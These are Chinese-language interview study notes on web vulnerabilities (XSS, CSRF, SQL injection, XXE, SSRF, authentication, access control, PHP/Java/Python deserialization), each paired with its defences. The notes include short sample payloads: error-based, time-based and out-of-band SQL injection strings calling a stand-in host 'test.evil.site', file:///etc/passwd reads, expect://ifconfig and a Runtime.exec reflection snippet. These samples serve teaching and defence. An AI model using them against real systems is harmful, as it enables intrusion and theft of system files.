2023秋招_WEB漏洞原理
XSS
XSS类型
反射型XSS
需要有带有payload的URL,当用户点击此URL时,服务器就会返回带有自己的恶意js的HTML网页
不需要将恶意js链接存在服务器上
存储型XSS
将恶意js链接存在服务器上,比如,一个博客的主页,名字存在XSS漏洞,输入一个特殊构造的名字,存储在服务器上,当任意用户去访问这个人的主页的时候,就会返回带有恶意JS的HTML
DOM型XSS
前面两个都是浏览器返回的HTML中就有恶意的js,DOM型XSS不是,他是在渲染的过程中触发的恶意JS,即服务器返回的HTML是一个正常的HTML,只不过里面的某些JS代码在处理DOM的时候有漏洞
XSS攻击payload
XSS获取cookie
一般都是获取cookie
XSS钓鱼
XSS除了获取COOKIE,可以从一个信任的网站跳转到另一个网站(前端一模一样),用来钓鱼
XSS蠕虫
基本都是存储型XSS,比如个人主页上存放恶意JS,当别人点开这个主页后,恶意的JS也会插入到自己的主页中
XSS防御
给Cookie设置 httponly属性,这样JS就拿不到COOKIE了
XSS过滤
CSP白名单的形式
CSRF跨站请求伪造
CSRF本质
受害者已经登录了A网站(假设是个社交网站)
诱导受害者发送一个特定的请求,比如关注某某某,http://test.com/follow?id=xiaoming
因为COOKIE也可能会发过去(Cookie的SameSite属性管这一点,设置成LAX会缓解一部分CSRF)
防御CSRF
验证码
考虑到用户体验,这个只能作为一种辅助手段
Referer校验
这个最常见的应用是防止图片盗链,服务器可以通过 Referer字段来校验是不是合法的请求
但是 如果应用内部本身就有问题的话,就能绕过去,比如头像可以用URL来设置的话,这个URL设置为一个关注某某某的GET请求,就能绕过这种Referer校验
Cookie的SameSite属性
设置为LAX,可以缓解一部分CSRF,但是通过网站导航跳转啥的依然会携带COOKIE
Anti-CSRF Token
CSRF之所以成功 是因为这个HTTP请求的参数攻击者都知道,如果弄一个加密的或者随机的数放在参数里,攻击者不知道,不就可以绕过CSRF了吗
这个随机的值就是token,token可以放在cookie里或者session里
点击劫持
原理
有点像视觉上的CSRF,就是将iframe设置为透明,然后将iframe的z-index设置的高一点,在原始的html里有一个按钮A,这个按钮的位置正好是Iframe关键操作的按钮B,当用户以为点击了按钮A的时候,实际上执行了点击按钮B的操作(iframe就是关键的那个网站,比如淘宝啥的)
防御
Frame Busting
通过JS代码来防止iframe嵌套,比如top.location = self.location,但从逻辑上可能绕过去
Cookie的SameSite属性
当cookie的SameSite的属性设置为LAX或者Strict的模式时,通过iframe就不会发送对应的cookie
CSP: frame-ancestors
CSP中的frame-ancestors的指令用于指示哪些源可以加载当前页面
比如Content-Security-Policy: frame-ancestors ‘self’ https://example.com
SQL注入
SQL注入方式
最常规注入
1 | SELECT * FROM User WHERE username = 'username' AND password = 'password' |
Union注入
联合查询多个表
堆叠注入
通过;分开执行多条SQL语句
报错注入
如果WEB页面有回显的话,通过报错注入的方式可以得到很多有用的信息,比如UpdateXML和ExtractValue等函数的第二个参数
比如
1 | SELECT name, author FROM Books WHERE id = 123 and ExtractValue(1, concat(0x7e, database())) -- |
错误回显为:XPATH syntax error: ‘~database_name’
盲注
为了探测是否存在SQL注入漏洞
布尔型盲注
http://test.com/item.php?id = 2 AND 1=2
http://test.com/item.php?id = 2 AND 1=1
服务器返回的界面可能不一样
延时盲注
123 OR BENCHMARK(500000000, MD5(123)) ;–
根据页面返回的时间来判断是否存在SQL注入
带外数据注入
如果WEB查询数据库的操作是异步的,则布尔型盲注和延时盲注就寄了
带外数据注入: 通过额外的信道向外发送数据
http://test.com/item.aspx?id=1;EXEC master..xp_dirtree ‘\\test.evil.site\' –%20
然后它会进行DNS请求,去查询DNS日志就知道有没有SQL注入了
二次注入
又叫存储型SQL注入
自己设计的SQL语句已经想办法存在数据库中了
SQL注入技巧
利用SQLmap
命令执行
攻击存储过程 xp_cmdshell
编码问题
SQL Column Truncation(长字符串截断)
预防SQL注入
使用预编译语句
SQL注入一般都是SQL语句拼起来的,因为这个过程SQL语句结构发生了改变
使用预编译语句,这种查询方法也叫参数化查询,这种方式可以固定SQL语句的结构
比如String sql = “select * from User where name=? and age = ?”
……
使用存储过程
这种一般是用来处理复杂的数据库操作,但是也可以用来防止SQL注入
参数校验
比如校验是不是整数之类的
使用安全函数
比如用mysqli_real_escape_string 而不是addslashes
还有一些WEB开发框架使用DAO来操作数据库,
其他注入
NoSQL注入
非关系型数据库也存在注入
XML注入
XXE外部实体注入
可以使用ENTITY定义自己的实体
然后可以实现任意文件读取:SYSTEM “file///etc/passwd”
网络协议读取内部服务器的资源(SSRF)SYSTEM “http://10.11.11.11/1.txt"
PHP安装了expect模块后,还能实现任意命令执行,比如expect://ifconfig
CRLF注入
比如两个回车换行改变HTTP的头和数据,甚至可以写入HTTP头
通过编码即可解决
LDAP注入
轻量级目录访问协议,主要用于目录资源的查询
SSRF
服务端请求伪造(Server Side Request Forgery)
WEB应用将外部输入当做URL并访问,攻击者可以构造特殊的URL让服务器端访问指定的URL,该访问行为是服务器预期之外的,这种就叫SSRF攻击。
SSRF漏洞成因
- web应用使用网络库获取外部资源或者调用外部接口,比如翻译外部网页(需要输入URL)
- XXE外部实体注入
- 应用程序允许通过外部参数指定配置,比如输入URL作为数据库连接地址等
- 无头浏览器(暂时不懂)
- 安全检测发起网络访问,比如如果QQ对用户发的网页进行后台检测,如果是恶意的就标明叹号等
SSRF攻击进阶
访问内网应用
内网漏洞很多,比如通过简单的http://localhost:5984/__users/_all_docs就能访问CurchDB用户表的所有数据
端口扫描
根据返回结果判断内网域名或IP地址是否存在,端口是否开放等
通过响应内容的信息,长度,状态码和响应时间等信息
攻击非WEB应用
如果支持file协议或者ftp协议
http://test.com/vuln.php?url=file:///etc/passwd
利用Gopher实现协议走私等
绕过技巧
比如通过黑名单限制了不能访问内网IP
可以通过DNS解析绕过或者自己弄一个服务器重定向到内网
SSRF防御方案
- 校验协议类型,一般需要访问的目标都是有明确的协议的,可以用白名单的形式校验协议
- 应用调用的接口如果比较少的话,尽量白名单校验
- 校验是不是内网IP
- 在解析用户输入的URL的时候,尽量用库,而不是自己写正则
- 对用户输入的参数做校验,比如CRLF,dn, passwd等关键字
- 大部分应用使用HTTP/HTTPS就够了,应当禁用无关协议
- 修复内网漏洞啥的
- 应用访问URL后,应当校验返回内容的合法性,就算是错误信息,尽量不要返回给用户
总结:尽量用白名单的形式
身份认证
身份认证的方式
HTTP认证(401)
表单登录(最常用的登陆方式)
客户端证书(在企业里常见)
一次性密码(One Time Password,OTP)比如手机验证码
多因素认证,比如登陆了后还需要手机验证码啥的
FIDO(Fast IDentity Online)发布了开放的身份认证标准FIFO,包含2个协议UAF和U2F
- UAF(Universal Authentication Framework): 比如人脸识别,指纹啥的
- U2F(Universal 2nd Factor):二次认证方案,比如APPLEID登录官网时,不仅需要输入账号密码,它会给对应的设备(我的是ipad)发送一个验证码,还是输入验证码才能登陆成
- 为了让浏览器支持FIDO,有个WebAuthn规范,U2F->升级->CTAP(客户端到认证器协议)允许用户使用指纹或者蓝牙等设备认证,WebAuthn和CTAP一起被称为FIDO2
暴力破解和撞库
暴力破解:一般不是穷举,有个弱密码列表+常用用户名列表。
撞库:一个人可能在不同网站设置同样的密码,所以攻击者获取一个密码后,登陆其它网站也大概率能登录,这种就叫撞库攻击
单点登录
单点登录(Single Sign-On, SSO):同一种方式登录多个平台。
OAuth
OAuth: Open Authorization
比如很多网站可以用QQ登录,点击后,会弹出个QQ输入账号密码的框,就是用的这种方式
流程(以QQ登录CSDN举例):
- 用户登录CSDN,点击QQ的方式
- 应用返回302:/authorize
- 用户访问 …qq…/authorize,然后输入账号密码啥的,点击登录
- …qq….这个域名返回302,….csdn../callback?code=AUTH_CODE
- 用户访问….csdn../callback?code=AUTH_CODE 就能登进去了
这里容易出现CSRF漏洞,比如攻击者A直接发给别人 …../callback?code=AUTH_CODE 这个网址,对面可能登录攻击者A的账号
OIDC
OIDC:OpenID Connect
基于OAuth的,流程跟OAuth一样,但是OAuth其实是用授权的方式来进行认证的,OIDC是原生支持身份认证的,Facebook和Twitter在使用OIDC
SAML
SAML: Security Assertion Markup Language,一种基于XML的数据标准
在IdP(身份提供者,比如学校)和SP(服务提供者,比如知网)之间交换信息
流程(以CARSI的形式登录知网为例)
- 用户登录知网,点击CARSI的方式
- 用户生成SAML认证请求并重定向到IdP(是个…/SSO/Redirect?SAMLRequest=request)
- 用户访问..edu.cn/…../SSO/Redirect?SAMLRequest=request,返回一个登录界面,让输入账号密码
- 用户输入账号密码,回车,IdP就返回SAMLResponse,然后浏览器自动POST的方式返回给SP,然后就登录了
CAS
CAS:Central Authentication Service
在CAS中,对用户进行身份校验的叫CAS Server,使用单点登录的WEB应用叫CAS Client
感觉跟上面那个OAuth和SAML差不多,浏览器重定向到CAS Server的过程中,需要提交一个service参数,用于指定登陆成功后功重定向的目标地址(CAS Client的地址)
比如:https://server/cas/login?service=http://www.service.com
认证成功后,CAS Server将用户重定向到CAS Client的时候,在参数中传递一个Service Ticket,然后CAS Client基于这个Service Ticket和自己的服务标识从CAS Server中获取用户认证信息。
访问控制
主体对客体拥有的操作权限
访问控制模型
自主访问控制模型
自主访问控制(Discretionary Access Control)
比如飞书文档的权限控制,文档作者可以控制其他人员对当前文档的访问权限。
基于角色的访问控制
Role-Based Access Control, RBAC
基于属性的访问控制
Attribute-Based Access Control
系统根据主体,客体,以及环境等属性动态计算一个布尔表达式,以判断主体有没有操作权限
比如:银行允许财务人员在工作时间访问某财务系统
越权访问漏洞
垂直越权访问:比如普通用户可以拥有admin的权限,比如在header或cookie里,isAdmin=0改成isAdmin=1就越权了
解决方法:比如在RBAC模型中,在进行具体操作的时候,采用安全的方式校验访问者的角色
水平越权访问:比如用户A可以访问用户B 的私有数据。比如http://test.com/order?id=1234,改个ID就访问到别人的了
解决方法:↓
- 文件名,UID啥的,都随机化,让攻击者不可预测
- 服务器应当从session中或者JWT中获取UID,而不是用户直接写个明文的UID进行request
- 对于重要的数据库,在后台SQL日志看有没有对数据的操作未带上UID作为WHERE语句的条件,这种有可能造成水平越权访问
- 审计用户的访问行为,看看有没有异常的批量访问行为。
零信任模型
零信任模型遵循的原则↓
显示验证:默认不信任原则,在整个过程中持续的校验访问者的安全属性,比如账号,设备,网络环境等
最小权限:在零信任访问模型中也需要遵循“最小权限”原则吗仅仅授予主体完成工作的最小权限,如果权限不需要时,应及时撤销
敌情想定:假设所有网络环境都是不安全的,基于这个假设去设计身份认证、数据加密、访问控制等方案
零信任访问架构分为控制平面 和 数据平面两个部分
开发语言的安全
PHP安全
变量覆盖:早期的PHP中,如果配置文件中定义了register_globals=On,就会把参数中的元素注册为全局变量
….test.php?admin=1—-> $admin=1
PHP5.4之后废除了这个特性
PHP的extract函数也可以将数组中的元素注册到当前上下文,而且这个extract()函数在各个PHP版本中都存在,使用时要格外小心
空字节问题
filename=malicious.php%00.pdf
底层C语言处理就是malicious.php,PHP5.3修复了这个漏洞
弱类型
=== 和 == 的区别
反序列化
对不可信的数据进行反序列化,可能被攻击者利用
JAVA安全
java的反射机制可以用来反序列化,反射机制就是可以动态获取类的属性和方法,动态调用对象的属性和方法
比如
Class clazz = Class.forName(“java.lang.Runtime”)
Method getRuntimeMethod = clazz.getMethod(“getRuntime”)
Object runtimeObject = getRuntimeMethod.invoke(clazz)
Method execMethod = clazz.getMethod(“exec”, String.class)
execMethod.invoke(runtimeObject, “open /…/…/Calculator.app”)
我们可以根据内部处理逻辑,构造序列化的对象,然后在内部反序列化的过程中,就会执行类似上面这些代码
作为开发者如何防止?
尽可能用高版本的库,然后可以用黑白名单的机制,仅仅反序列化特定的对象或者禁止反序列化某种类型的对象
如果序列化后的数据存在客户端,可以对其进行签名,收到数据后先校验签名再执行反序列化操作
Python安全
python的反序列化,利用pickle库,pythond的__reduce__(self)在反序列化的时候会自动被调用
它返回一个至少包含2个元素的数组,第一个元素是类或者函数,第二个元素是类的构造函数的参数 或 函数的参数